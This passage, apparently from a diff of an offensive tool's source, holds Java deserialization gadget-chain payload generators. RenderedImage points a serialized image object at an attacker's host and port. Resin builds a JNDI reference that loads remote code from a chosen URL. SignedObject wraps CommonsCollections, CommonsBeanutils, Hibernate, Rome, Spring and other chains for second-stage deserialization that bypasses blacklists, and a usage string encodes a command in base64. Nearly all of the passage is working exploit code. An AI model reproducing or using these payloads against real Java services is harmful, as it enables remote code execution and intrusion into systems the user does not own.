return makeMap(o1, o1); // Assuming JDKUtil.makeMap returns a Map or similar object
|
return makeMap(o1, o1); // Assuming JDKUtil.makeMap returns a Map or similar object
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
public interface ReleaseableObjectPayload<T> extends ObjectPayload<T> {
|
public interface ReleaseableObjectPayload<T> extends ObjectPayload<T> {
|
||||||
|
|
||||||
void release(Object obj) throws Exception;
|
void release(Object obj) throws Exception;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,57 +1,57 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
|
||||||
import javax.imageio.ImageIO;
|
import javax.imageio.ImageIO;
|
||||||
import javax.media.jai.remote.SerializableRenderedImage;
|
import javax.media.jai.remote.SerializableRenderedImage;
|
||||||
import java.awt.image.BufferedImage;
|
import java.awt.image.BufferedImage;
|
||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.net.InetAddress;
|
import java.net.InetAddress;
|
||||||
|
|
||||||
@SuppressWarnings({"unused"})
|
@SuppressWarnings({"unused"})
|
||||||
@Dependencies({"javax.media:jai-codec-1.1.3"})
|
@Dependencies({"javax.media:jai-codec-1.1.3"})
|
||||||
public class RenderedImage implements ObjectPayload<Object> {
|
public class RenderedImage implements ObjectPayload<Object> {
|
||||||
public static byte hexToByte(String inHex) {
|
public static byte hexToByte(String inHex) {
|
||||||
return (byte) Integer.parseInt(inHex, 16);
|
return (byte) Integer.parseInt(inHex, 16);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static byte[] hexToByteArray(String inHex) {
|
public static byte[] hexToByteArray(String inHex) {
|
||||||
int hexlen = inHex.length();
|
int hexlen = inHex.length();
|
||||||
byte[] result;
|
byte[] result;
|
||||||
if (hexlen % 2 == 1) {
|
if (hexlen % 2 == 1) {
|
||||||
hexlen++;
|
hexlen++;
|
||||||
result = new byte[(hexlen / 2)];
|
result = new byte[(hexlen / 2)];
|
||||||
inHex = "0" + inHex;
|
inHex = "0" + inHex;
|
||||||
} else {
|
} else {
|
||||||
result = new byte[(hexlen / 2)];
|
result = new byte[(hexlen / 2)];
|
||||||
}
|
}
|
||||||
int j = 0;
|
int j = 0;
|
||||||
for (int i = 0; i < hexlen; i += 2) {
|
for (int i = 0; i < hexlen; i += 2) {
|
||||||
result[j] = hexToByte(inHex.substring(i, i + 2));
|
result[j] = hexToByte(inHex.substring(i, i + 2));
|
||||||
j++;
|
j++;
|
||||||
}
|
}
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
|
|
||||||
int sep = command.lastIndexOf(':');
|
int sep = command.lastIndexOf(':');
|
||||||
if (sep < 0) {
|
if (sep < 0) {
|
||||||
throw new IllegalArgumentException("Command format is: <host>:<port>");
|
throw new IllegalArgumentException("Command format is: <host>:<port>");
|
||||||
}
|
}
|
||||||
|
|
||||||
String host = command.substring(0, sep);
|
String host = command.substring(0, sep);
|
||||||
String port = command.substring(sep + 1);
|
String port = command.substring(sep + 1);
|
||||||
|
|
||||||
String imageHex = "FFD8FFE000104A46494600010100000100010000FFDB0043000503040404030504040405050506070C08070707070F0B0B090C110F1212110F111113161C1713141A1511111821181A1D1D1F1F1F13172224221E241C1E1F1EFFDB0043010505050706070E08080E1E1411141E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1EFFC00011080009000803012200021101031101FFC400160001010100000000000000000000000000000308FFC40021100001030401050000000000000000000003000204010511130712143774B4FFC40014010100000000000000000000000000000001FFC40014110100000000000000000000000000000000FFDA000C03010002110311003F00D0967E448E6E43976297246D894310229231BDD1B6606E18FB8C6BD95675BAA3CE688A772F0E1FD90FD234497FFFD9";
|
String imageHex = "FFD8FFE000104A46494600010100000100010000FFDB0043000503040404030504040405050506070C08070707070F0B0B090C110F1212110F111113161C1713141A1511111821181A1D1D1F1F1F13172224221E241C1E1F1EFFDB0043010505050706070E08080E1E1411141E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1EFFC00011080009000803012200021101031101FFC400160001010100000000000000000000000000000308FFC40021100001030401050000000000000000000003000204010511130712143774B4FFC40014010100000000000000000000000000000001FFC40014110100000000000000000000000000000000FFDA000C03010002110311003F00D0967E448E6E43976297246D894310229231BDD1B6606E18FB8C6BD95675BAA3CE688A772F0E1FD90FD234497FFFD9";
|
||||||
BufferedImage picImage = ImageIO.read(new ByteArrayInputStream(hexToByteArray(imageHex)));
|
BufferedImage picImage = ImageIO.read(new ByteArrayInputStream(hexToByteArray(imageHex)));
|
||||||
|
|
||||||
SerializableRenderedImage serializableRenderedImage = new SerializableRenderedImage(picImage, true);
|
SerializableRenderedImage serializableRenderedImage = new SerializableRenderedImage(picImage, true);
|
||||||
Reflections.setFieldValue(serializableRenderedImage, "port", Integer.parseInt(port));
|
Reflections.setFieldValue(serializableRenderedImage, "port", Integer.parseInt(port));
|
||||||
Reflections.setFieldValue(serializableRenderedImage, "host", InetAddress.getByName(host));
|
Reflections.setFieldValue(serializableRenderedImage, "host", InetAddress.getByName(host));
|
||||||
|
|
||||||
return serializableRenderedImage;
|
return serializableRenderedImage;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,79 +1,79 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.caucho.naming.QName;
|
import com.caucho.naming.QName;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import com.sun.org.apache.xpath.internal.objects.XString;
|
import com.sun.org.apache.xpath.internal.objects.XString;
|
||||||
|
|
||||||
import javax.naming.CannotProceedException;
|
import javax.naming.CannotProceedException;
|
||||||
import javax.naming.Reference;
|
import javax.naming.Reference;
|
||||||
import javax.naming.directory.DirContext;
|
import javax.naming.directory.DirContext;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.net.URI;
|
import java.net.URI;
|
||||||
import java.util.Hashtable;
|
import java.util.Hashtable;
|
||||||
|
|
||||||
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
|
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
|
||||||
|
|
||||||
@SuppressWarnings({"unused"})
|
@SuppressWarnings({"unused"})
|
||||||
public class Resin implements ObjectPayload<Object> {
|
public class Resin implements ObjectPayload<Object> {
|
||||||
public static Object makeToStringTrigger(Object o) throws Exception {
|
public static Object makeToStringTrigger(Object o) throws Exception {
|
||||||
String unhash = unhash(o.hashCode());
|
String unhash = unhash(o.hashCode());
|
||||||
XString xString = new XString(unhash);
|
XString xString = new XString(unhash);
|
||||||
return makeMap(o, xString);
|
return makeMap(o, xString);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String unhash(int hash) {
|
public static String unhash(int hash) {
|
||||||
int target = hash;
|
int target = hash;
|
||||||
StringBuilder answer = new StringBuilder();
|
StringBuilder answer = new StringBuilder();
|
||||||
if (target < 0) {
|
if (target < 0) {
|
||||||
// String with hash of Integer.MIN_VALUE, 0x80000000
|
// String with hash of Integer.MIN_VALUE, 0x80000000
|
||||||
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
|
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
|
||||||
|
|
||||||
if (target == Integer.MIN_VALUE)
|
if (target == Integer.MIN_VALUE)
|
||||||
return answer.toString();
|
return answer.toString();
|
||||||
// Find target without sign bit set
|
// Find target without sign bit set
|
||||||
target = target & Integer.MAX_VALUE;
|
target = target & Integer.MAX_VALUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
unhash0(answer, target);
|
unhash0(answer, target);
|
||||||
return answer.toString();
|
return answer.toString();
|
||||||
}
|
}
|
||||||
|
|
||||||
private static void unhash0(StringBuilder partial, int target) {
|
private static void unhash0(StringBuilder partial, int target) {
|
||||||
int div = target / 31;
|
int div = target / 31;
|
||||||
int rem = target % 31;
|
int rem = target % 31;
|
||||||
|
|
||||||
if (div <= Character.MAX_VALUE) {
|
if (div <= Character.MAX_VALUE) {
|
||||||
if (div != 0)
|
if (div != 0)
|
||||||
partial.append((char) div);
|
partial.append((char) div);
|
||||||
partial.append((char) rem);
|
partial.append((char) rem);
|
||||||
} else {
|
} else {
|
||||||
unhash0(partial, div);
|
unhash0(partial, div);
|
||||||
partial.append((char) rem);
|
partial.append((char) rem);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
//需要处理command
|
//需要处理command
|
||||||
return makeResinQName(command);
|
return makeResinQName(command);
|
||||||
}
|
}
|
||||||
|
|
||||||
public Object makeResinQName(String command) throws Exception {
|
public Object makeResinQName(String command) throws Exception {
|
||||||
Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
|
Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
|
||||||
Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
|
Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
|
||||||
ccCons.setAccessible(true);
|
ccCons.setAccessible(true);
|
||||||
CannotProceedException cpe = new CannotProceedException();
|
CannotProceedException cpe = new CannotProceedException();
|
||||||
Reflections.setFieldValue(cpe, "cause", null);
|
Reflections.setFieldValue(cpe, "cause", null);
|
||||||
Reflections.setFieldValue(cpe, "stackTrace", null);
|
Reflections.setFieldValue(cpe, "stackTrace", null);
|
||||||
//考虑换成其他的
|
//考虑换成其他的
|
||||||
URI uri = new URI(command);
|
URI uri = new URI(command);
|
||||||
String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
|
String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
|
||||||
cpe.setResolvedObj(new Reference("Foo", args[1], args[0]));
|
cpe.setResolvedObj(new Reference("Foo", args[1], args[0]));
|
||||||
|
|
||||||
Reflections.setFieldValue(cpe, "suppressedExceptions", null);
|
Reflections.setFieldValue(cpe, "suppressedExceptions", null);
|
||||||
DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());
|
DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());
|
||||||
QName qName = new QName(ctx, "foo", "bar");
|
QName qName = new QName(ctx, "foo", "bar");
|
||||||
return makeToStringTrigger(qName);
|
return makeToStringTrigger(qName);
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,255 +1,255 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import cn.hutool.core.comparator.PropertyComparator;
|
import cn.hutool.core.comparator.PropertyComparator;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import com.qi4l.JYso.gadgets.utils.SignedObjectUtils;
|
import com.qi4l.JYso.gadgets.utils.SignedObjectUtils;
|
||||||
import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper;
|
import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper;
|
||||||
import com.sun.syndication.feed.impl.ObjectBean;
|
import com.sun.syndication.feed.impl.ObjectBean;
|
||||||
import org.apache.commons.beanutils.BeanComparator;
|
import org.apache.commons.beanutils.BeanComparator;
|
||||||
import org.apache.commons.collections.Transformer;
|
import org.apache.commons.collections.Transformer;
|
||||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
import org.apache.commons.collections.functors.InvokerTransformer;
|
||||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||||
import org.apache.commons.collections.map.LazyMap;
|
import org.apache.commons.collections.map.LazyMap;
|
||||||
import org.apache.commons.collections4.bag.TreeBag;
|
import org.apache.commons.collections4.bag.TreeBag;
|
||||||
import org.apache.commons.collections4.comparators.TransformingComparator;
|
import org.apache.commons.collections4.comparators.TransformingComparator;
|
||||||
import org.mozilla.javascript.*;
|
import org.mozilla.javascript.*;
|
||||||
import org.mozilla.javascript.tools.shell.Environment;
|
import org.mozilla.javascript.tools.shell.Environment;
|
||||||
import org.springframework.beans.factory.ObjectFactory;
|
import org.springframework.beans.factory.ObjectFactory;
|
||||||
|
|
||||||
import java.awt.*;
|
import java.awt.*;
|
||||||
import java.io.ObjectOutputStream;
|
import java.io.ObjectOutputStream;
|
||||||
import java.io.Serializable;
|
import java.io.Serializable;
|
||||||
import java.lang.reflect.*;
|
import java.lang.reflect.*;
|
||||||
import java.math.BigInteger;
|
import java.math.BigInteger;
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
|
|
||||||
import static com.qi4l.JYso.gadgets.utils.Reflections.getFieldValue;
|
import static com.qi4l.JYso.gadgets.utils.Reflections.getFieldValue;
|
||||||
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
|
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
|
||||||
import static com.qi4l.JYso.gadgets.utils.Serializer.serialize;
|
import static com.qi4l.JYso.gadgets.utils.Serializer.serialize;
|
||||||
import static com.qi4l.JYso.gadgets.utils.Utils.*;
|
import static com.qi4l.JYso.gadgets.utils.Utils.*;
|
||||||
import static java.lang.Class.forName;
|
import static java.lang.Class.forName;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* SignedObject 二次反序列化 Gadget,用来进行某些场景的绕过(常见如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等)
|
* SignedObject 二次反序列化 Gadget,用来进行某些场景的绕过(常见如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等)
|
||||||
* 利用链需要调用 SignedObject 的 getObject 方法,因此需要可以调用任意方法、或调用指定类 getter 方法的触发点;
|
* 利用链需要调用 SignedObject 的 getObject 方法,因此需要可以调用任意方法、或调用指定类 getter 方法的触发点;
|
||||||
* yso 中大概包含如下几种可用的常见调用链:
|
* yso 中大概包含如下几种可用的常见调用链:
|
||||||
* 1. InvokerTransformer 调用任意方法(依赖 CC)
|
* 1. InvokerTransformer 调用任意方法(依赖 CC)
|
||||||
* 2. BeanComparator 调用 getter 方法(依赖 CB)
|
* 2. BeanComparator 调用 getter 方法(依赖 CB)
|
||||||
* 3. BasicPropertyAccessor$BasicGetter 调用 getter 方法(依赖 Hibernate)
|
* 3. BasicPropertyAccessor$BasicGetter 调用 getter 方法(依赖 Hibernate)
|
||||||
* 4. ToStringBean 调用全部 getter 方法(依赖 Rome)
|
* 4. ToStringBean 调用全部 getter 方法(依赖 Rome)
|
||||||
* 5. MethodInvokeTypeProvider 反射调用任意方法(依赖 spring-core)
|
* 5. MethodInvokeTypeProvider 反射调用任意方法(依赖 spring-core)
|
||||||
* 6. MemberBox 反射调用任意方法(依赖 rhino)
|
* 6. MemberBox 反射调用任意方法(依赖 rhino)
|
||||||
* 7. hutool.MapProxy 二次反序列化
|
* 7. hutool.MapProxy 二次反序列化
|
||||||
* 8. MapMessage 二次反序列化
|
* 8. MapMessage 二次反序列化
|
||||||
* <p>
|
* <p>
|
||||||
* 利用方式:
|
* 利用方式:
|
||||||
* SignedObject 'CC:CommonsCollections6:b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==:1:10000'
|
* SignedObject 'CC:CommonsCollections6:b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==:1:10000'
|
||||||
* 最后2个类型是脏数据类型和长度,为0则不混淆
|
* 最后2个类型是脏数据类型和长度,为0则不混淆
|
||||||
* @author QI4L
|
* @author QI4L
|
||||||
*/
|
*/
|
||||||
|
|
||||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||||
public class SignedObject implements ObjectPayload<Object> {
|
public class SignedObject implements ObjectPayload<Object> {
|
||||||
|
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
String[] commands = command.split(":");
|
String[] commands = command.split(":");
|
||||||
|
|
||||||
if (commands.length < 3) {
|
if (commands.length < 3) {
|
||||||
throw new IllegalArgumentException("Command format is: <Type>:<Original_Type>:<Command_Base64>:<Dirty_Type>:<Dirty_Length>");
|
throw new IllegalArgumentException("Command format is: <Type>:<Original_Type>:<Command_Base64>:<Dirty_Type>:<Dirty_Length>");
|
||||||
}
|
}
|
||||||
|
|
||||||
String type1 = commands[0];
|
String type1 = commands[0];
|
||||||
Object object = getOriginal(Arrays.copyOfRange(commands, 1, commands.length));
|
Object object = getOriginal(Arrays.copyOfRange(commands, 1, commands.length));
|
||||||
|
|
||||||
switch (type1.toLowerCase()) {
|
switch (type1.toLowerCase()) {
|
||||||
case "cb":
|
case "cb":
|
||||||
return getSignedObjectWithCB(object);
|
return getSignedObjectWithCB(object);
|
||||||
case "hibernate":
|
case "hibernate":
|
||||||
return getSignedObjectWithHibernate(object);
|
return getSignedObjectWithHibernate(object);
|
||||||
case "rome":
|
case "rome":
|
||||||
return getSignedObjectWithRome(object);
|
return getSignedObjectWithRome(object);
|
||||||
case "rhino":
|
case "rhino":
|
||||||
return getSignedObjectWithRhino(object);
|
return getSignedObjectWithRhino(object);
|
||||||
case "spring":
|
case "spring":
|
||||||
return getSignedObjectWithSpring(object);
|
return getSignedObjectWithSpring(object);
|
||||||
case "cc4":
|
case "cc4":
|
||||||
return getSignedObjectWithCC4(object);
|
return getSignedObjectWithCC4(object);
|
||||||
case "cu":
|
case "cu":
|
||||||
return getHutoolMapProxy(object);
|
return getHutoolMapProxy(object);
|
||||||
case "mm":
|
case "mm":
|
||||||
return getMapMessage(object);
|
return getMapMessage(object);
|
||||||
case "cc":
|
case "cc":
|
||||||
default:
|
default:
|
||||||
return getSignedObjectWithCCNoArray(object);
|
return getSignedObjectWithCCNoArray(object);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public Object getOriginal(String[] args) throws Exception {
|
public Object getOriginal(String[] args) throws Exception {
|
||||||
final String payloadType = args[0];
|
final String payloadType = args[0];
|
||||||
String command = args[1];
|
String command = args[1];
|
||||||
|
|
||||||
// 支持单双引号
|
// 支持单双引号
|
||||||
if (command.startsWith("'") || command.startsWith("\"")) {
|
if (command.startsWith("'") || command.startsWith("\"")) {
|
||||||
command = command.substring(1, command.length() - 1);
|
command = command.substring(1, command.length() - 1);
|
||||||
}
|
}
|
||||||
|
|
||||||
String realCmd = com.qi4l.JYso.gadgets.utils.Utils.base64Decode(command);
|
String realCmd = com.qi4l.JYso.gadgets.utils.Utils.base64Decode(command);
|
||||||
|
|
||||||
final Class<? extends ObjectPayload<?>> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
|
final Class<? extends ObjectPayload<?>> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
|
||||||
ObjectPayload<?> payload = payloadClass.newInstance();
|
ObjectPayload<?> payload = payloadClass.newInstance();
|
||||||
Object object = payload.getObject(realCmd);
|
Object object = payload.getObject(realCmd);
|
||||||
|
|
||||||
if (args.length >= 3) {
|
if (args.length >= 3) {
|
||||||
final String type = args[2];
|
final String type = args[2];
|
||||||
final String length = args[3];
|
final String length = args[3];
|
||||||
object = (new DirtyDataWrapper(object, Integer.parseInt(type), Integer.parseInt(length))).doWrap();
|
object = (new DirtyDataWrapper(object, Integer.parseInt(type), Integer.parseInt(length))).doWrap();
|
||||||
}
|
}
|
||||||
|
|
||||||
return object;
|
return object;
|
||||||
}
|
}
|
||||||
|
|
||||||
// MapMessage二次反序列化
|
// MapMessage二次反序列化
|
||||||
public Object getMapMessage(Object serObj) throws Exception {
|
public Object getMapMessage(Object serObj) throws Exception {
|
||||||
Object mapMessage = Reflections.createWithoutConstructor("org.apache.catalina.tribes.tipis.AbstractReplicatedMap$MapMessage");
|
Object mapMessage = Reflections.createWithoutConstructor("org.apache.catalina.tribes.tipis.AbstractReplicatedMap$MapMessage");
|
||||||
Reflections.setFieldValue(mapMessage, "keydata", serialize(serObj));
|
Reflections.setFieldValue(mapMessage, "keydata", serialize(serObj));
|
||||||
|
|
||||||
PriorityQueue<Object> queue = new PriorityQueue<>(2);
|
PriorityQueue<Object> queue = new PriorityQueue<>(2);
|
||||||
queue.add(1);
|
queue.add(1);
|
||||||
queue.add(1);
|
queue.add(1);
|
||||||
|
|
||||||
Object[] objects = (Object[]) getFieldValue(queue, "queue");
|
Object[] objects = (Object[]) getFieldValue(queue, "queue");
|
||||||
objects[1] = mapMessage;
|
objects[1] = mapMessage;
|
||||||
|
|
||||||
Comparator<?> comparator = new PropertyComparator<>("getKey");
|
Comparator<?> comparator = new PropertyComparator<>("getKey");
|
||||||
setFieldValue(queue, "comparator", comparator);
|
setFieldValue(queue, "comparator", comparator);
|
||||||
return queue;
|
return queue;
|
||||||
}
|
}
|
||||||
|
|
||||||
// hutool.MapProxy 二次反序列化
|
// hutool.MapProxy 二次反序列化
|
||||||
public Object getHutoolMapProxy(Object serObj) throws Exception {
|
public Object getHutoolMapProxy(Object serObj) throws Exception {
|
||||||
HashMap<String, Object> map = new HashMap<>();
|
HashMap<String, Object> map = new HashMap<>();
|
||||||
map.put("bounds", serialize(serObj));
|
map.put("bounds", serialize(serObj));
|
||||||
cn.hutool.core.map.MapProxy mapProxy = cn.hutool.core.map.MapProxy.create(map);
|
cn.hutool.core.map.MapProxy mapProxy = cn.hutool.core.map.MapProxy.create(map);
|
||||||
Shape proxy = (Shape) Proxy.newProxyInstance(Shape.class.getClassLoader(), new Class[]{Shape.class}, mapProxy);
|
Shape proxy = (Shape) Proxy.newProxyInstance(Shape.class.getClassLoader(), new Class[]{Shape.class}, mapProxy);
|
||||||
|
|
||||||
PriorityQueue<Object> queue = new PriorityQueue<>(2);
|
PriorityQueue<Object> queue = new PriorityQueue<>(2);
|
||||||
queue.add(1);
|
queue.add(1);
|
||||||
queue.add(1);
|
queue.add(1);
|
||||||
|
|
||||||
Object[] objects = (Object[]) getFieldValue(queue, "queue");
|
Object[] objects = (Object[]) getFieldValue(queue, "queue");
|
||||||
objects[1] = proxy;
|
objects[1] = proxy;
|
||||||
|
|
||||||
Comparator<?> comparator = new PropertyComparator<>("bounds");
|
Comparator<?> comparator = new PropertyComparator<>("bounds");
|
||||||
setFieldValue(queue, "comparator", comparator);
|
setFieldValue(queue, "comparator", comparator);
|
||||||
return queue;
|
return queue;
|
||||||
}
|
}
|
||||||
|
|
||||||
// CC 无数组二次反序列化
|
// CC 无数组二次反序列化
|
||||||
public Object getSignedObjectWithCCNoArray(Object serObj) throws Exception {
|
public Object getSignedObjectWithCCNoArray(Object serObj) throws Exception {
|
||||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
||||||
|
|
||||||
Map<?,?> old = new HashMap<>();
|
Map<?,?> old = new HashMap<>();
|
||||||
Transformer invoke = new InvokerTransformer("toString", null, null);
|
Transformer invoke = new InvokerTransformer("toString", null, null);
|
||||||
Map<?,?> newMap = LazyMap.decorate(old, invoke);
|
Map<?,?> newMap = LazyMap.decorate(old, invoke);
|
||||||
TiedMapEntry entry = new TiedMapEntry(newMap, obj);
|
TiedMapEntry entry = new TiedMapEntry(newMap, obj);
|
||||||
Map<TiedMapEntry, Object> ht = new HashMap<>();
|
Map<TiedMapEntry, Object> ht = new HashMap<>();
|
||||||
ht.put(entry, obj);
|
ht.put(entry, obj);
|
||||||
newMap.remove(obj);
|
newMap.remove(obj);
|
||||||
|
|
||||||
setFieldValue(invoke, "iMethodName", "getObject");
|
setFieldValue(invoke, "iMethodName", "getObject");
|
||||||
return ht;
|
return ht;
|
||||||
}
|
}
|
||||||
|
|
||||||
// CC4 无 TiedMapEntry 二次反序列化
|
// CC4 无 TiedMapEntry 二次反序列化
|
||||||
public Object getSignedObjectWithCC4(Object serObj) throws Exception {
|
public Object getSignedObjectWithCC4(Object serObj) throws Exception {
|
||||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
||||||
|
|
||||||
org.apache.commons.collections4.functors.InvokerTransformer transformer = new org.apache.commons.collections4.functors.InvokerTransformer<>("toString", new Class[0], new Object[0]);
|
org.apache.commons.collections4.functors.InvokerTransformer transformer = new org.apache.commons.collections4.functors.InvokerTransformer<>("toString", new Class[0], new Object[0]);
|
||||||
TransformingComparator comp = new TransformingComparator<>(transformer);
|
TransformingComparator comp = new TransformingComparator<>(transformer);
|
||||||
TreeBag<Object> tree = new TreeBag<>((Comparator<? super Object>) comp);
|
TreeBag<Object> tree = new TreeBag<>((Comparator<? super Object>) comp);
|
||||||
tree.add(obj);
|
tree.add(obj);
|
||||||
setFieldValue(transformer, "iMethodName", "getObject");
|
setFieldValue(transformer, "iMethodName", "getObject");
|
||||||
return tree;
|
return tree;
|
||||||
}
|
}
|
||||||
|
|
||||||
// CB 二次反序列化
|
// CB 二次反序列化
|
||||||
public Object getSignedObjectWithCB(Object serObj) throws Exception {
|
public Object getSignedObjectWithCB(Object serObj) throws Exception {
|
||||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
||||||
|
|
||||||
final BeanComparator<?> comparator = new BeanComparator<>("lowestSetBit");
|
final BeanComparator<?> comparator = new BeanComparator<>("lowestSetBit");
|
||||||
final PriorityQueue<Object> queue = new PriorityQueue<>(2, (Comparator<? super Object>) comparator);
|
final PriorityQueue<Object> queue = new PriorityQueue<>(2, (Comparator<? super Object>) comparator);
|
||||||
queue.add(new BigInteger("1"));
|
queue.add(new BigInteger("1"));
|
||||||
queue.add(new BigInteger("1"));
|
queue.add(new BigInteger("1"));
|
||||||
|
|
||||||
setFieldValue(comparator, "property", "object");
|
setFieldValue(comparator, "property", "object");
|
||||||
setFieldValue(queue, "queue", new Object[]{obj, obj});
|
setFieldValue(queue, "queue", new Object[]{obj, obj});
|
||||||
return queue;
|
return queue;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Hibernate 二次反序列化
|
// Hibernate 二次反序列化
|
||||||
public Object getSignedObjectWithHibernate(Object serObj) throws Exception {
|
public Object getSignedObjectWithHibernate(Object serObj) throws Exception {
|
||||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
||||||
Object getters = Hibernate1.makeGetter(obj.getClass(), "getObject");
|
Object getters = Hibernate1.makeGetter(obj.getClass(), "getObject");
|
||||||
return Hibernate1.makeCaller(obj, getters);
|
return Hibernate1.makeCaller(obj, getters);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
// Rome 二次反序列化
|
// Rome 二次反序列化
|
||||||
public Object getSignedObjectWithRome(Object serObj) throws Exception {
|
public Object getSignedObjectWithRome(Object serObj) throws Exception {
|
||||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
||||||
ObjectBean delegate = new ObjectBean(java.security.SignedObject.class, obj);
|
ObjectBean delegate = new ObjectBean(java.security.SignedObject.class, obj);
|
||||||
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
|
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
|
||||||
return makeMap(root, root);
|
return makeMap(root, root);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
// Spring-Core 二次反序列化
|
// Spring-Core 二次反序列化
|
||||||
public Object getSignedObjectWithSpring(Object serObj) throws Exception {
|
public Object getSignedObjectWithSpring(Object serObj) throws Exception {
|
||||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
||||||
ObjectFactory<?> objectFactoryProxy = createMemoitizedProxy(createMap("getObject", obj), ObjectFactory.class);
|
ObjectFactory<?> objectFactoryProxy = createMemoitizedProxy(createMap("getObject", obj), ObjectFactory.class);
|
||||||
Type typeTemplatesProxy = createProxy((InvocationHandler) Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").newInstance(objectFactoryProxy), Type.class, java.security.SignedObject.class);
|
Type typeTemplatesProxy = createProxy((InvocationHandler) Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").newInstance(objectFactoryProxy), Type.class, java.security.SignedObject.class);
|
||||||
